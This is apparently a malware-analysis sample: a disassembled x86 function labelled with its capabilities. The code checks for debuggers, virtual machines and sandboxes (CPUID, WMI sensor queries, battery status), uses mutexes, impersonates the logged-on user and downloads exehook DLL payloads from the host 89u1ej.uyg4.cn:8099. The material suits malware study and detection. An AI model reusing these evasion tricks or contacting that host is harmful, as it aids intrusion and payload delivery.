Function at 0x1000485f
Capabilities:
Check for peb beingdebugged flag
Check for peb ntglobalflag flag
Check mutex and terminate process on windows
Check mutex on windows
Connect to wmi namespace via wbemlocator
Create directory
Create http request
Read data from internet
Receive data
Reference wmi statements
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x12b8
call fcn.10009a80
mov eax, dword [0x10032068]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xor ebx, ebx
push edi
mov dword [ebp - 0x11c0], ebx
call fcn.10001b00
test eax, eax
jne 0x10004982
mov byte [ebp - 0x11b9], bl
push dword fs:[0x30]
pop edx
mov al, byte [edx + 2]
mov byte [ebp - 0x11b9], al
cmp byte [ebp - 0x11b9], bl
jne 0x10004982
mov dword [ebp - 0x100c], ebx
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
movzx eax, byte [eax + 2]
mov dword [ebp - 0x100c], eax
cmp dword [ebp - 0x100c], ebx
jne 0x10004982
mov dword [ebp - 0x11e0], ebx
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x68]
mov dword [ebp - 0x11e0], eax
push 0x70
pop edi
cmp dword [ebp - 0x11e0], edi
je 0x10004982
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push ebx
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x1000498f
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.ZwQueryInformationProcess
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
push 0x18
lea ecx, [ebp - 0x11b8]
push ecx
push ebx
push esi
call eax
test eax, eax
js 0x10004988
lea eax, [ebp - 0x100c]
mov dword [ebp - 0x100c], ebx
push eax
push 2
lea eax, [ebp - 0x1010]
mov dword [ebp - 0x1010], ebx
push eax
mov eax, dword [ebp - 0x11b4]
add eax, 0x68
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x10004988
cmp dword [ebp - 0x100c], 2
jne 0x10004988
cmp word [ebp - 0x1010], di
jne 0x10004988
push ebx
call fcn.1000d077
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x11dc], ebx
pushfd
pushal
mov eax, 1
cpuid
test ecx, 0x80000000
jne 0x100049b2
mov dword [ebp - 0x11dc], 0
jmp 0x100049bc
mov dword [ebp - 0x11dc], 1
popal
popfd
call fcn.10003f22
xor ebx, ebx
mov dword [ebp - 0x11c0], eax
push ebx
push ebx
mov esi, ebx
call dword [sym.imp.ole32.dll_CoInitializeEx]
push ebx
push ebx
push ebx
push 3
push ebx
push ebx
push ebx
push 0xffffffffffffffff
push ebx
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
lea eax, [ebp - 0x11a0]
mov dword [ebp - 0x11a0], ebx
push eax
push 0x100240d0
push 1
push ebx
push 0x100240c0
call dword [sym.imp.ole32.dll_CoCreateInstance]
push str.ROOTWMI
lea ecx, [ebp - 0x1010]
mov dword [ebp - 0x1198], ebx
call fcn.100019d1
mov eax, dword [eax]
test eax, eax
je 0x10004a26
mov edx, dword [eax]
jmp 0x10004a28
mov edx, ebx
mov eax, dword [ebp - 0x11a0]
lea edi, [ebp - 0x1198]
push edi
push ebx
push ebx
mov ecx, dword [eax]
push ebx
push ebx
push ebx
push ebx
push edx
push eax
call dword [ecx + 0xc]
lea ecx, [ebp - 0x1010]
call fcn.10001a9f
push ebx
push ebx
push 3
push 3
push ebx
push ebx
mov ebx, dword [sym.imp.ole32.dll_CoSetProxyBlanket]
push 0xa
push dword [ebp - 0x1198]
call ebx
and dword [ebp - 0x1194], esi
lea ecx, [ebp - 0x100c]
push str.SELECT__FROM_MSAcpi_ThermalZoneTemperature
call fcn.100019d1
mov edi, dword [eax]
test edi, edi
je 0x10004a85
mov edi, dword [edi]
jmp 0x10004a87
xor edi, edi
push 0x1002e088
lea ecx, [ebp - 0x1010]
call fcn.100019d1
mov eax, dword [eax]
test eax, eax
je 0x10004aa1
mov edx, dword [eax]
jmp 0x10004aa3
xor edx, edx
mov eax, dword [ebp - 0x1198]
lea ebx, [ebp - 0x1194]
push ebx
xor ebx, ebx
push ebx
mov ecx, dword [eax]
push 0x30
push edi
push edx
push eax
call dword [ecx + 0x50]
lea ecx, [ebp - 0x1010]
call fcn.10001a9f
lea ecx, [ebp - 0x100c]
call fcn.10001a9f
mov ecx, dword [ebp - 0x1194]
mov dword [ebp - 0x119c], ebx
mov dword [ebp - 0x1014], ebx
mov ebx, dword [sym.imp.ole32.dll_CoSetProxyBlanket]
test ecx, ecx
je 0x10004b37
mov eax, dword [ecx]
lea edx, [ebp - 0x1014]
push edx
lea edx, [ebp - 0x119c]
push edx
push 1
push 0xffffffffffffffff
push ecx
call dword [eax + 0x10]
cmp dword [ebp - 0x1014], 0
je 0x10004b29
mov eax, dword [ebp - 0x119c]
inc esi
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov ecx, dword [ebp - 0x1194]
test ecx, ecx
jne 0x10004aef
jmp 0x10004b2f
mov ecx, dword [ebp - 0x1194]
test esi, esi
jne 0x10004d17
and dword [ebp - 0x1198], 0
lea ecx, [ebp - 0x1010]
push str.ROOTCIMV2
call fcn.100019d1
mov eax, dword [eax]
test eax, eax
je 0x10004b58
mov edx, dword [eax]
jmp 0x10004b5a
xor edx, edx
mov eax, dword [ebp - 0x11a0]
lea edi, [ebp - 0x1198]
push edi
xor edi, edi
push edi
mov ecx, dword [eax]
push edi
push edi
push edi
push edi
push edi
push edx
push eax
call dword [ecx + 0xc]
lea ecx, [ebp - 0x1010]
call fcn.10001a9f
xor eax, eax
push eax
push eax
push 3
push 3
push eax
push eax
push 0xa
push dword [ebp - 0x1198]
call ebx
and dword [ebp - 0x1194], edi
lea ecx, [ebp - 0x100c]
push str.SELECT__FROM_Win32_Fan
call fcn.100019d1
mov edi, dword [eax]
test edi, edi
je 0x10004bb5
mov edi, dword [edi]
jmp 0x10004bb7
xor edi, edi
push 0x1002e088
lea ecx, [ebp - 0x1010]
call fcn.100019d1
mov eax, dword [eax]
test eax, eax
je 0x10004bd1
mov edx, dword [eax]
jmp 0x10004bd3
xor edx, edx
mov eax, dword [ebp - 0x1198]
lea ebx, [ebp - 0x1194]
push ebx
xor ebx, ebx
push ebx
mov ecx, dword [eax]
push 0x30
push edi
push edx
push eax
call dword [ecx + 0x50]
lea ecx, [ebp - 0x1010]
call fcn.10001a9f
lea ecx, [ebp - 0x100c]
call fcn.10001a9f
mov ecx, dword [ebp - 0x1194]
mov dword [ebp - 0x119c], ebx
mov dword [ebp - 0x1014], ebx
test ecx, ecx
je 0x10004c60
mov eax, dword [ecx]
lea edx, [ebp - 0x1014]
push edx
lea edx, [ebp - 0x119c]
push edx
push 1
push 0xffffffffffffffff
push ecx
call dword [eax + 0x10]
cmp dword [ebp - 0x1014], ebx
je 0x10004c52
mov eax, dword [ebp - 0x119c]
inc esi
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov ecx, dword [ebp - 0x1194]
test ecx, ecx
jne 0x10004c19
jmp 0x10004c58
mov ecx, dword [ebp - 0x1194]
test esi, esi
jne 0x10004d19
push str.SELECT__FROM_Win32_VoltageProbe
lea ecx, [ebp - 0x100c]
call fcn.100019d1
mov eax, dword [eax]
test eax, eax
je 0x10004c7a
mov edi, dword [eax]
jmp 0x10004c7c
mov edi, ebx
push 0x1002e088
lea ecx, [ebp - 0x1010]
call fcn.100019d1
mov edx, dword [eax]
test edx, edx
je 0x10004c96
mov edx, dword [edx]
jmp 0x10004c98
mov edx, ebx
mov eax, dword [ebp - 0x1198]
lea ebx, [ebp - 0x1194]
push ebx
xor ebx, ebx
push ebx
mov ecx, dword [eax]
push 0x30
push edi
push edx
push eax
call dword [ecx + 0x50]
lea ecx, [ebp - 0x1010]
call fcn.10001a9f
lea ecx, [ebp - 0x100c]
call fcn.10001a9f
mov dword [ebp - 0x119c], ebx
mov dword [ebp - 0x1014], ebx
jmp 0x10004d03
mov eax, dword [ecx]
lea edx, [ebp - 0x1014]
push edx
lea edx, [ebp - 0x119c]
push edx
push 1
push 0xffffffffffffffff
push ecx
call dword [eax + 0x10]
cmp dword [ebp - 0x1014], ebx
je 0x10004d0f
mov eax, dword [ebp - 0x119c]
inc esi
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov ecx, dword [ebp - 0x1194]
test ecx, ecx
jne 0x10004cd6
jmp 0x10004d19
mov ecx, dword [ebp - 0x1194]
jmp 0x10004d19
xor ebx, ebx
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov eax, dword [ebp - 0x1198]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x11a0]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
cmp dword [ebp - 0x11dc], 1
jge 0x10004d53
cmp dword [ebp - 0x11c0], 1
jge 0x10004d53
test esi, esi
jg 0x10004d7a
lea eax, [ebp - 0x1050]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemPowerStatus]
test eax, eax
je 0x10004d7a
mov al, byte [ebp - 0x104f]
cmp al, 0x80
je 0x10004982
cmp al, 0xff
je 0x10004982
lea ecx, [ebp - 0x10e0]
call fcn.10003f84
lea ecx, [ebp - 0x10c8]
call fcn.1000398b
lea ecx, [ebp - 0x1098]
call fcn.10003b0b
push str.C:UsersPublicPictures_
lea ecx, [ebp - 0x1068]
call fcn.10006816
push str..exe
push ecx
lea ecx, [ebp - 0x1044]
call fcn.10003c55
pop ecx
mov edx, eax
lea ecx, [ebp - 0x10b0]
call fcn.100072b7
pop ecx
lea ecx, [ebp - 0x1044]
call fcn.10006d41
push 0x1002d8a8
push ecx
lea ecx, [ebp - 0x1044]
call fcn.10003c55
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1080]
call fcn.100072b7
pop ecx
lea ecx, [ebp - 0x1044]
call fcn.10006d41
push ebx
lea eax, [ebp - 0x1068]
push eax
lea ecx, [ebp - 0x10c8]
call fcn.10006776
cmp eax, 0xffffffff
jne 0x100058a9
push str.AppGo
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x10004982
xor eax, eax
lea edi, [ebp - 0x1050]
stosd dword es:[edi], eax
sub esp, 0x18
mov ecx, esp
stosd dword es:[edi], eax
push 0x1002e100
stosd dword es:[edi], eax
call fcn.10006816
lea edx, [ebp - 0x1098]
lea ecx, [ebp - 0x1050]
call fcn.100038e4
add esp, 0x18
mov dword [ebp - 0x102c], ebx
lea ecx, [ebp - 0x102c]
mov dword [ebp - 0x101c], ebx
mov dword [ebp - 0x1018], ebx
push dword [ebp - 0x1050]
call fcn.10006e09
mov esi, 0x1002e104
push esi
call fcn.1000e230
cmp dword [ebp - 0x1018], 0x10
mov edx, dword [ebp - 0x101c]
pop ecx
push eax
lea ecx, [ebp - 0x102c]
cmovae ecx, dword [ebp - 0x102c]
push esi
push ebx
call fcn.10007524
or edi, 0xffffffff
add esp, 0xc
cmp eax, edi
je 0x10004f03
push eax
push ebx
lea eax, [ebp - 0x11f8]
push eax
lea ecx, [ebp - 0x102c]
call fcn.10006725
mov esi, eax
lea eax, [ebp - 0x102c]
cmp eax, esi
je 0x10004ef8
mov ecx, eax
call fcn.10006d41
push esi
lea ecx, [ebp - 0x102c]
call fcn.10006e7b
lea ecx, [ebp - 0x11f8]
call fcn.10006d41
cmp dword [ebp - 0x1018], 0x10
lea esi, [ebp - 0x102c]
cmovae esi, dword [ebp - 0x102c]
cmp dword [ebp - 0x101c], 0
jbe 0x10004f39
push dword [ebp - 0x101c]
push 0x20
push esi
call fcn.1000b540
add esp, 0xc
test eax, eax
je 0x10004f39
sub eax, esi
jmp 0x10004f3b
mov eax, edi
cmp eax, edi
je 0x10004f7d
push eax
push ebx
lea eax, [ebp - 0x11f8]
push eax
lea ecx, [ebp - 0x102c]
call fcn.10006725
mov esi, eax
lea eax, [ebp - 0x102c]
cmp eax, esi
je 0x10004f72
mov ecx, eax
call fcn.10006d41
push esi
lea ecx, [ebp - 0x102c]
call fcn.10006e7b
lea ecx, [ebp - 0x11f8]
call fcn.10006d41
mov eax, dword [ebp - 0x101c]
lea ecx, [ebp - 0x102c]
push edi
dec eax
push eax
lea eax, [ebp - 0x11d8]
push eax
call fcn.10006725
xor ebx, ebx
mov edx, 0x1002e108
mov ecx, eax
inc ebx
call fcn.1000733c
test al, al
jne 0x10005112
mov eax, dword [ebp - 0x101c]
lea ecx, [ebp - 0x102c]
push edi
dec eax
push eax
lea eax, [ebp - 0x1288]
push eax
call fcn.10006725
push 3
pop ebx
mov edx, 0x1002e10c
mov ecx, eax
call fcn.1000733c
test al, al
jne 0x10005112
mov eax, dword [ebp - 0x101c]
lea ecx, [ebp - 0x102c]
push edi
dec eax
push eax
lea eax, [ebp - 0x1270]
push eax
call fcn.10006725
push 7
pop ebx
mov edx, 0x1002e110
mov ecx, eax
call fcn.1000733c
test al, al
jne 0x10005112
mov eax, dword [ebp - 0x101c]
lea ecx, [ebp - 0x102c]
push edi
dec eax
push eax
lea eax, [ebp - 0x1258]
push eax
call fcn.10006725
push 0xf
pop ebx
mov edx, 0x1002e114
mov ecx, eax
call fcn.1000733c
test al, al
jne 0x10005112
mov eax, dword [ebp - 0x101c]
lea ecx, [ebp - 0x102c]
push edi
add eax, 0xfffffffe
push eax
lea eax, [ebp - 0x1240]
push eax
call fcn.10006725
push 0x1f
pop ebx
mov edx, 0x1002e118
mov ecx, eax
call fcn.1000733c
test al, al
jne 0x10005112
mov eax, dword [ebp - 0x101c]
lea ecx, [ebp - 0x102c]
push edi
add eax, 0xfffffffe
push eax
lea eax, [ebp - 0x1228]
push eax
call fcn.10006725
push 0x3f
pop ebx
mov edx, 0x1002e11c
mov ecx, eax
call fcn.1000733c
test al, al
jne 0x10005112
mov eax, dword [ebp - 0x101c]
lea ecx, [ebp - 0x102c]
push edi
add eax, 0xfffffffe
push eax
lea eax, [ebp - 0x1210]
push eax
call fcn.10006725
push 0x7f
pop ebx
mov edx, 0x1002e120
mov ecx, eax
call fcn.1000733c
test al, al
jne 0x10005112
mov eax, dword [ebp - 0x101c]
lea ecx, [ebp - 0x102c]
push edi
add eax, 0xfffffffe
push eax
lea eax, [ebp - 0x11f8]
push eax
call fcn.10006725
mov edx, 0x1002e124
mov ecx, eax
mov ebx, 0xff
call fcn.1000733c
mov byte [ebp - 0x11b9], 1
test al, al
je 0x10005119
mov byte [ebp - 0x11b9], 0
test bl, bl
jns 0x1000512e
lea ecx, [ebp - 0x11f8]
and ebx, 0xffffff7f
call fcn.10006d41
test bl, 0x40
je 0x10005141
lea ecx, [ebp - 0x1210]
and ebx, 0xffffffbf
call fcn.10006d41
test bl, 0x20
je 0x10005154
lea ecx, [ebp - 0x1228]
and ebx, 0xffffffdf
call fcn.10006d41
test bl, 0x10
je 0x10005167
lea ecx, [ebp - 0x1240]
and ebx, 0xffffffef
call fcn.10006d41
test bl, 8
je 0x1000517a
lea ecx, [ebp - 0x1258]
and ebx, 0xfffffff7
call fcn.10006d41
test bl, 4
je 0x1000518d
lea ecx, [ebp - 0x1270]
and ebx, 0xfffffffb
call fcn.10006d41
test bl, 2
je 0x1000519d
lea ecx, [ebp - 0x1288]
call fcn.10006d41
lea ecx, [ebp - 0x11d8]
call fcn.10006d41
cmp byte [ebp - 0x11b9], 0
jne 0x100058a2
lea eax, [ebp - 0x1080]
push 0
push eax
lea edx, [ebp - 0x1068]
lea ecx, [ebp - 0x11d8]
call fcn.1000726b
pop ecx
mov ecx, eax
call fcn.100067ae
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x11d8]
call fcn.10006811
call fcn.1000413a
sub esp, 0x18
lea eax, [ebp - 0x1098]
mov ecx, esp
push eax
call fcn.10006845
call fcn.1000473a
mov esi, eax
call fcn.10004512
call fcn.100047ff
mov ecx, esp
push 0x1002e128
call fcn.100066f6
call fcn.1000423c
mov ecx, esp
push str.QQPCTray.exe
call fcn.100066f6
call fcn.1000423c
add esp, 0x18
push esi
call dword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
sub esp, 0x18
lea eax, [ebp - 0x10b0]
mov esi, esp
lea edx, [ebp - 0x1068]
lea ecx, [ebp - 0x11d8]
push eax
lea eax, [ebp - 0x1080]
push eax
call fcn.1000726b
pop ecx
mov edx, eax
mov ecx, esi
call fcn.10007240
sub esp, 0x14
mov ecx, esp
push 0x1002e15c
call fcn.10006816
push 0x71
pop ecx
call fcn.10003d54
add esp, 0x30
lea ecx, [ebp - 0x11d8]
call fcn.10006811
sub esp, 0x18
lea eax, [ebp - 0x1080]
mov esi, esp
lea edx, [ebp - 0x1068]
lea ecx, [ebp - 0x11d8]
push str.python24.dll
push eax
call fcn.1000726b
pop ecx
mov edx, eax
mov ecx, esi
call fcn.100072b7
sub esp, 0x14
mov ecx, esp
push 0x1002e170
call fcn.10006816
push 0x72
pop ecx
call fcn.10003d54
add esp, 0x30
lea ecx, [ebp - 0x11d8]
call fcn.10006811
push str.http:__89u1ej.uyg4.cn:8099_ts_
lea ecx, [ebp - 0x1044]
call fcn.10006816
push edi
lea ecx, [ebp - 0x102c]
call fcn.100067aa
push 2
pop esi
sub eax, esi
push eax
lea eax, [ebp - 0x11d8]
push eax
call fcn.10006725
mov edx, 0x1002e118
mov ecx, eax
call fcn.1000733c
lea ecx, [ebp - 0x11d8]
mov bl, al
call fcn.10006811
test bl, bl
je 0x10005378
xor ebx, ebx
push ebx
push ebx
push ebx
push 1
push str.abcd
call dword [sym.imp.WININET.dll_InternetOpenA]
push ebx
push SysReAllocString
push ebx
push ebx
push str.exehook10.dll
lea edx, [ebp - 0x1044]
mov esi, eax
lea ecx, [ebp - 0x11d8]
call fcn.100072f0
pop ecx
mov ecx, eax
call fcn.100067ae
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
lea ecx, [ebp - 0x11d8]
jmp 0x1000568b
push edi
lea ecx, [ebp - 0x102c]
call fcn.100067aa
sub eax, esi
push eax
lea eax, [ebp - 0x11d8]
push eax
call fcn.10006725
mov edx, 0x1002e11c
mov ecx, eax
call fcn.1000733c
lea ecx, [ebp - 0x11d8]
mov bl, al
call fcn.10006811
test bl, bl
je 0x100053fd
xor ebx, ebx
push ebx
push ebx
push ebx
push 1
push str.abcd
call dword [sym.imp.WININET.dll_InternetOpenA]
push ebx
push SysReAllocString
push ebx
push ebx
push str.exehook11.dll
lea edx, [ebp - 0x1044]
mov esi, eax
lea ecx, [ebp - 0x1288]
call fcn.100072f0
pop ecx
mov ecx, eax
call fcn.100067ae
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
lea ecx, [ebp - 0x1288]
jmp 0x1000568b
push edi
lea ecx, [ebp - 0x102c]
call fcn.100067aa
sub eax, esi
push eax
lea eax, [ebp - 0x11d8]
push eax
call fcn.10006725
mov edx, 0x1002e120
mov ecx, eax
call fcn.1000733c
lea ecx, [ebp - 0x11d8]
mov bl, al
call fcn.10006811
test bl, bl
je 0x10005482
xor ebx, ebx
push ebx
push ebx
push ebx
push 1
push str.abcd
call dword [sym.imp.WININET.dll_InternetOpenA]
push ebx
push SysReAllocString
push ebx
push ebx
push str.exehook12.dll
lea edx, [ebp - 0x1044]
mov esi, eax
lea ecx, [ebp - 0x1270]
call fcn.100072f0
pop ecx
mov ecx, eax
call fcn.100067ae
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
lea ecx, [ebp - 0x1270]
jmp 0x1000568b
push edi
lea ecx, [ebp - 0x102c]
call fcn.100067aa
sub eax, esi
push eax
lea eax, [ebp - 0x11d8]
push eax
call fcn.10006725
mov edx, 0x1002e124
mov ecx, eax
call fcn.1000733c
lea ecx, [ebp - 0x11d8]
mov bl, al
call fcn.10006811
test bl, bl
je 0x10005507
xor ebx, ebx
push ebx
push ebx
push ebx
push 1
push str.abcd
call dword [sym.imp.WININET.dll_InternetOpenA]
push ebx
push SysReAllocString
push ebx
push ebx
push str.exehook13.dll
lea edx, [ebp - 0x1044]
mov esi, eax
lea ecx, [ebp - 0x1258]
call fcn.100072f0
pop ecx
mov ecx, eax
call fcn.100067ae
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
lea ecx, [ebp - 0x1258]
jmp 0x1000568b
push edi
lea ecx, [ebp - 0x102c]
call fcn.100067aa
dec eax
push eax
lea eax, [ebp - 0x11d8]
push eax
call fcn.10006725
mov edx, 0x1002e108
mov ecx, eax
call fcn.1000733c
lea ecx, [ebp - 0x11d8]
mov bl, al
call fcn.10006811
test bl, bl
je 0x1000558b
xor ebx, ebx
push ebx
push ebx
push ebx
push 1
push str.abcd
call dword [sym.imp.WININET.dll_InternetOpenA]
push ebx
push SysReAllocString
push ebx
push ebx
push str.exehook1.dll
lea edx, [ebp - 0x1044]
mov esi, eax
lea ecx, [ebp - 0x1240]
call fcn.100072f0
pop ecx
mov ecx, eax
call fcn.100067ae
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
lea ecx, [ebp - 0x1240]
jmp 0x1000568b
push edi
lea ecx, [ebp - 0x102c]
call fcn.100067aa
dec eax
push eax
lea eax, [ebp - 0x11d8]
push eax
call fcn.10006725
mov edx, 0x1002e10c
mov ecx, eax
call fcn.1000733c
lea ecx, [ebp - 0x11d8]
mov bl, al
call fcn.10006811
test bl, bl
je 0x1000560c
xor ebx, ebx
push ebx
push ebx
push ebx
push 1
push str.abcd
call dword [sym.imp.WININET.dll_InternetOpenA]
push ebx
push SysReAllocString
push ebx
push ebx
push str.exehook2.dll
lea edx, [ebp - 0x1044]
mov esi, eax
lea ecx, [ebp - 0x1228]
call fcn.100072f0
pop ecx
mov ecx, eax
call fcn.100067ae
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
lea ecx, [ebp - 0x1228]
jmp 0x1000568b
push edi
lea ecx, [ebp - 0x102c]
call fcn.100067aa
dec eax
push eax
lea eax, [ebp - 0x11d8]
push eax
call fcn.10006725
mov edx, 0x1002e110
mov ecx, eax
call fcn.1000733c
lea ecx, [ebp - 0x11d8]
mov bl, al
call fcn.10006811
test bl, bl
je 0x10005697
xor ebx, ebx
push ebx
push ebx
push ebx
push 1
push str.abcd
call dword [sym.imp.WININET.dll_InternetOpenA]
push ebx
push SysReAllocString
push ebx
push ebx
push str.exehook3.dll
lea edx, [ebp - 0x1044]
mov esi, eax
lea ecx, [ebp - 0x1210]
call fcn.100072f0
pop ecx
mov ecx, eax
call fcn.100067ae
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
lea ecx, [ebp - 0x1210]
mov esi, eax
call fcn.10006811
jmp 0x10005723
push edi
lea ecx, [ebp - 0x102c]
call fcn.100067aa
dec eax
push eax
lea eax, [ebp - 0x11d8]
push eax
call fcn.10006725
mov edx, 0x1002e114
mov ecx, eax
call fcn.1000733c
lea ecx, [ebp - 0x11d8]
mov bl, al
call fcn.10006811
test bl, bl
je 0x1000571b
xor ebx, ebx
push ebx
push ebx
push ebx
push 1
push str.abcd
call dword [sym.imp.WININET.dll_InternetOpenA]
push ebx
push SysReAllocString
push ebx
push ebx
push str.exehook4.dll
lea edx, [ebp - 0x1044]
mov esi, eax
lea ecx, [ebp - 0x11f8]
call fcn.100072f0
pop ecx
mov ecx, eax
call fcn.100067ae
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
lea ecx, [ebp - 0x11f8]
jmp 0x1000568b
mov esi, dword [ebp - 0x11c0]
xor ebx, ebx
push ecx
lea ecx, [ebp - 0x1190]
call fcn.10003e94
sub esp, 0xc
lea eax, [ebp - 0x1080]
lea edx, [ebp - 0x1068]
lea ecx, [ebp - 0x12b8]
push str.sqm.dat
push eax
call fcn.1000726b
pop ecx
mov edx, eax
lea ecx, [ebp - 0x12a0]
call fcn.100072b7
pop ecx
mov ecx, eax
call fcn.100067ae
push eax
lea ecx, [ebp - 0x1190]
call fcn.1000639b
lea ecx, [ebp - 0x12a0]
call fcn.10006811
lea ecx, [ebp - 0x12b8]
call fcn.10006811
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
jmp 0x100057b1
cmp dword [ebp - 0x100c], 0
jbe 0x100057cb
push ebx
push dword [ebp - 0x100c]
lea eax, [ebp - 0x1008]
push eax
lea ecx, [ebp - 0x1190]
call fcn.10006521
lea eax, [ebp - 0x100c]
push eax
push 0x1000
lea eax, [ebp - 0x1008]
push eax
push esi
call edi
test eax, eax
jne 0x1000578f
lea ecx, [ebp - 0x1190]
call fcn.10006328
call fcn.10003ea7
call fcn.100031c9
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, 0x3e8
cmp al, 1
jne 0x10005811
call fcn.10003566
push edi
call esi
call fcn.1000338a
cmp al, 1
je 0x100057ef
call fcn.1000373d
push edi
call esi
call fcn.100031c9
cmp al, 1
je 0x10005800
push ebx
lea eax, [ebp - 0x10b0]
push eax
lea eax, [ebp - 0x1080]
push eax
lea edx, [ebp - 0x1068]
lea ecx, [ebp - 0x12a0]
call fcn.1000726b
pop ecx
mov edx, eax
lea ecx, [ebp - 0x12b8]
call fcn.10007240
pop ecx
mov ecx, eax
call fcn.100067ae
push 3
pop edx
mov ecx, eax
call fcn.10001b1c
pop ecx
lea ecx, [ebp - 0x12b8]
call fcn.10006811
lea ecx, [ebp - 0x12a0]
call fcn.10006811
push edi
call esi
call fcn.100031c9
test al, al
je 0x10005811
lea ecx, [ebp - 0x1190]
call fcn.10003e43
lea ecx, [ebp - 0x1044]
call fcn.10006811
lea ecx, [ebp - 0x102c]
call fcn.10006811
lea ecx, [ebp - 0x1050]
call fcn.10006688
jmp 0x100058d3
xor ebx, ebx
jmp 0x10004982
push str.HaGo
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x10004982
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x1080]
call fcn.10006811
lea ecx, [ebp - 0x10b0]
call fcn.10006811
lea ecx, [ebp - 0x1068]
call fcn.10006811
lea ecx, [ebp - 0x1098]
call fcn.10006811
lea ecx, [ebp - 0x10c8]
call fcn.10006811
lea ecx, [ebp - 0x10e0]
call fcn.100066f1
jmp 0x10004982